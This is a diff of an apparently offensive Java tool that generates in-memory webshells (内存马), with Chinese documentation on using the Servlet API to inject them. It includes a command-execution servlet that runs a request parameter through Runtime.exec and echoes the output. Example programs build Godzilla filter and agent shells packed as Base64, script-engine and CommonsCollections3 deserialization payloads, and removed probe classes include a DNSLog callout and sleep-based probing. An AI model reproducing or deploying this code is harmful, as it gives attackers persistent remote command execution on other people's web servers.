3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||
|
After Width: | Height: | Size: 174 KiB |
|
After Width: | Height: | Size: 282 KiB |
|
After Width: | Height: | Size: 92 KiB |
|
After Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 232 KiB After Width: | Height: | Size: 232 KiB |
|
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 121 KiB |
|
After Width: | Height: | Size: 326 KiB |
@@ -1,6 +1,4 @@
|
||||
---
|
||||
title: Filter
|
||||
---
|
||||
# Java Servlet Filter
|
||||
|
||||
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
---
|
||||
title: Listener
|
||||
---
|
||||
# Event Listeners
|
||||
|
||||
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
# Java Servlet
|
||||
|
||||
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
||||
|
||||
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
||||
|
||||
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
||||
|
||||
## ServletContext
|
||||
|
||||
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
||||
|
||||
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
||||
|
||||
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
||||
|
||||
```java
|
||||
addServlet(String servletName, String className);
|
||||
addServlet(String servletName, Servlet servlet);
|
||||
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
||||
addFilter(String filterName, String className);
|
||||
addFilter(String filterName, Filter filter);
|
||||
addFilter(String filterName, Class <? extends Filter> filterClass);
|
||||
void addListener(String className);
|
||||
void addListener(T t);
|
||||
void addListener(Class <? extends EventListener> listenerClass);
|
||||
```
|
||||
|
||||
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
||||
|
||||
## HttpServlet
|
||||
|
||||
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
||||
|
||||
```java
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
||||
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
||||
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
||||
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
||||
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
||||
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
||||
```
|
||||
|
||||
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||||
|
||||
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
||||
|
||||
```java
|
||||
@WebServlet(”/foo”)
|
||||
public class CalculatorServlet extends HttpServlet{
|
||||
//...
|
||||
}
|
||||
```
|
||||
|
||||
```xml
|
||||
<servlet>
|
||||
<servlet-name>foo</servlet-name>
|
||||
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet-mapping>
|
||||
<servlet-name>foo</servlet-name>
|
||||
<url-pattern>/foo</url-pattern>
|
||||
</servlet-mapping>
|
||||
```
|
||||
|
||||
## ServletShell
|
||||
|
||||
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
||||
|
||||
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
||||
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||
|
||||
```java
|
||||
public class CommandServlet extends HttpServlet {
|
||||
public static String paramName;
|
||||
|
||||
@Override
|
||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
doPost(req, resp);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -18,27 +18,8 @@
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>generator</artifactId>
|
||||
<version>2.0.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>packer</artifactId>
|
||||
<version>2.0.0</version>
|
||||
<version>1.8.0</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
||||
<repositories>
|
||||
<repository>
|
||||
<name>Central Portal Snapshots</name>
|
||||
<id>central-portal-snapshots</id>
|
||||
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
||||
<releases>
|
||||
<enabled>false</enabled>
|
||||
</releases>
|
||||
<snapshots>
|
||||
<enabled>true</enabled>
|
||||
</snapshots>
|
||||
</repository>
|
||||
</repositories>
|
||||
</project>
|
||||
@@ -1,32 +0,0 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/13
|
||||
*/
|
||||
public class DnsLogProbe {
|
||||
public static void main(String[] args) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.DNSLog)
|
||||
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
||||
.shrink(true)
|
||||
.debug(false)
|
||||
.build();
|
||||
|
||||
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
||||
.host("xxx.dns.log")
|
||||
.build();
|
||||
|
||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
@@ -1,15 +1,10 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -18,7 +13,7 @@ import static com.reajason.javaweb.Server.Tomcat;
|
||||
public class Godzilla {
|
||||
public static void main(String[] args) {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Tomcat)
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shrink(true) // 缩小字节码
|
||||
@@ -38,13 +33,18 @@ public class Godzilla {
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||
System.out.println("内存马类名:" + result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
|
||||
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
|
||||
|
||||
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,20 +1,15 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/6
|
||||
@@ -23,7 +18,7 @@ public class GodzillaAgent {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Tomcat)
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||
.shrink(true) // 缩小字节码
|
||||
@@ -43,7 +38,7 @@ public class GodzillaAgent {
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||
System.out.println("内存马类名:" + result.getShellClassName());
|
||||
@@ -51,7 +46,7 @@ public class GodzillaAgent {
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/13
|
||||
*/
|
||||
public class ResponseBodyProbe {
|
||||
public static void main(String[] args) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Command)
|
||||
.shrink(true)
|
||||
.debug(false)
|
||||
.build();
|
||||
|
||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||
.server(Tomcat)
|
||||
.reqHeaderName("X-Echo")
|
||||
.build();
|
||||
|
||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.SleepConfig;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/13
|
||||
*/
|
||||
public class SleepProbe {
|
||||
public static void main(String[] args) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.probeMethod(ProbeMethod.Sleep)
|
||||
.probeContent(ProbeContent.Server) // 暂只支持 Server
|
||||
.shrink(true)
|
||||
.debug(false)
|
||||
.build();
|
||||
|
||||
SleepConfig sleepConfig = SleepConfig.builder()
|
||||
.server(Tomcat)
|
||||
.seconds(5).build();
|
||||
|
||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
|
||||
|
||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
plugins {
|
||||
id("java-library")
|
||||
id("java")
|
||||
alias(libs.plugins.lombok)
|
||||
id("maven-publish-convention")
|
||||
}
|
||||
@@ -27,22 +27,29 @@ tasks.test {
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(platform(project(":memshell-party-bom")))
|
||||
implementation(project(":memshell-party-common"))
|
||||
implementation(project(":packer"))
|
||||
api(libs.byte.buddy)
|
||||
implementation(libs.asm.commons)
|
||||
implementation(libs.javax.websocket.api)
|
||||
implementation(libs.jakarta.websocket.client.api)
|
||||
implementation(libs.javax.servlet.api)
|
||||
implementation(libs.jakarta.servlet.api)
|
||||
implementation(libs.spring.webmvc)
|
||||
implementation(libs.spring.webflux)
|
||||
implementation(libs.reactor.netty.core)
|
||||
implementation(libs.jackson.annotations)
|
||||
implementation(libs.bundles.jna)
|
||||
implementation(project(":deserialize"))
|
||||
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testImplementation(libs.hamcrest)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
testImplementation(libs.bundles.mockito)
|
||||
implementation(project(":memshell"))
|
||||
implementation("net.bytebuddy:byte-buddy")
|
||||
implementation("org.ow2.asm:asm-commons")
|
||||
implementation("net.java.dev.jna:jna")
|
||||
implementation("net.java.dev.jna:jna-platform")
|
||||
implementation("javax.servlet:javax.servlet-api")
|
||||
implementation("javax.websocket:javax.websocket-api")
|
||||
implementation("org.apache.bcel:bcel")
|
||||
implementation("commons-io:commons-io")
|
||||
implementation("org.apache.commons:commons-lang3")
|
||||
implementation("com.squareup.okhttp3:okhttp")
|
||||
implementation("ch.qos.logback:logback-classic")
|
||||
implementation("com.fasterxml.jackson.core:jackson-databind")
|
||||
implementation("org.springframework:spring-webmvc")
|
||||
implementation("org.springframework:spring-webflux")
|
||||
implementation("io.projectreactor.netty:reactor-netty-core")
|
||||
testImplementation(platform("org.junit:junit-bom"))
|
||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||
testImplementation("org.mockito:mockito-core")
|
||||
testImplementation("org.mockito:mockito-junit-jupiter")
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/21
|
||||
*/
|
||||
public class GenerationException extends RuntimeException {
|
||||
public GenerationException(String message) {
|
||||
super(message);
|
||||
}
|
||||
|
||||
public GenerationException(String message, Throwable cause) {
|
||||
super(message, cause);
|
||||
}
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/11
|
||||
*/
|
||||
public class Server {
|
||||
public static final String Tomcat = "Tomcat";
|
||||
public static final String Jetty = "Jetty";
|
||||
public static final String Undertow = "Undertow";
|
||||
public static final String JBoss = "JBoss";
|
||||
public static final String Resin = "Resin";
|
||||
public static final String WebLogic = "WebLogic";
|
||||
public static final String WebSphere = "WebSphere";
|
||||
public static final String GlassFish = "GlassFish";
|
||||
public static final String TongWeb = "TongWeb";
|
||||
public static final String BES = "BES";
|
||||
public static final String InforSuite = "InforSuite";
|
||||
public static final String Apusic = "Apusic";
|
||||
public static final String SpringWebMvc = "SpringWebMvc";
|
||||
public static final String SpringWebFlux = "SpringWebFlux";
|
||||
public static final String XXLJOB = "XXLJOB";
|
||||
public static final String Struct2 = "Struct2";
|
||||
}
|
||||
@@ -1,19 +1,12 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
@@ -25,74 +18,46 @@ import java.util.Map;
|
||||
*/
|
||||
public class MemShellGenerator {
|
||||
|
||||
public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
String serverName = shellConfig.getServer();
|
||||
AbstractServer server = ServerFactory.getServer(serverName);
|
||||
if (server == null) {
|
||||
throw new GenerationException("Unsupported server: " + serverName);
|
||||
}
|
||||
Class<?> injectorClass = null;
|
||||
|
||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||
injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
||||
} else {
|
||||
Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||
if (shellInjectorPair == null) {
|
||||
throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
||||
}
|
||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||
injectorClass = shellInjectorPair.getRight();
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Server server = shellConfig.getServer();
|
||||
AbstractShell shell = server.getShell();
|
||||
if (shell == null) {
|
||||
throw new IllegalArgumentException("Unsupported server: " + server);
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||
}
|
||||
|
||||
if (shellConfig.isLambdaSuffix()) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
|
||||
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
|
||||
Class<?> injectorClass = null;
|
||||
|
||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
||||
} else {
|
||||
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||
if (shellInjectorPair == null) {
|
||||
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
||||
}
|
||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||
injectorClass = shellInjectorPair.getRight();
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
}
|
||||
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
|
||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||
}
|
||||
|
||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Bytecode)
|
||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
||||
.shrink(shellConfig.isShrink())
|
||||
.debug(shellConfig.isDebug())
|
||||
.staticInitialize(injectorConfig.isStaticInitialize())
|
||||
.build();
|
||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||
.server(serverName)
|
||||
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
||||
.build();
|
||||
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
||||
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
||||
}
|
||||
|
||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||
|
||||
return MemShellResult.builder()
|
||||
return GenerateResult.builder()
|
||||
.shellConfig(shellConfig)
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@Builder(builderClassName = "Builder")
|
||||
public class MemShellResult {
|
||||
private String shellClassName;
|
||||
private transient byte[] shellBytes;
|
||||
private long shellSize;
|
||||
private String shellBytesBase64Str;
|
||||
private String injectorClassName;
|
||||
private transient byte[] injectorBytes;
|
||||
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||
private long injectorSize;
|
||||
private String injectorBytesBase64Str;
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfig shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
|
||||
public static class Builder {
|
||||
public MemShellResult build() {
|
||||
if (shellBytes != null) {
|
||||
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
||||
shellSize = shellBytes.length;
|
||||
}
|
||||
if (injectorBytes != null) {
|
||||
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||
injectorSize = injectorBytes.length;
|
||||
}
|
||||
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
|
||||
public JarPackerConfig toJarPackerConfig() {
|
||||
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||
jarPackerConfig.setMainClassName(injectorClassName);
|
||||
Map<String, byte[]> bytes = new HashMap<>();
|
||||
bytes.put(shellClassName, shellBytes);
|
||||
bytes.put(injectorClassName, injectorBytes);
|
||||
if (injectorInnerClassBytes != null) {
|
||||
bytes.putAll(injectorInnerClassBytes);
|
||||
}
|
||||
jarPackerConfig.setClassBytes(bytes);
|
||||
return jarPackerConfig;
|
||||
}
|
||||
|
||||
public ClassPackerConfig toClassPackerConfig() {
|
||||
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||
classPackerConfig.setClassName(injectorClassName);
|
||||
classPackerConfig.setClassBytes(injectorBytes);
|
||||
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||
if (shellConfig != null) {
|
||||
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
|
||||
}
|
||||
return classPackerConfig;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.BCELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
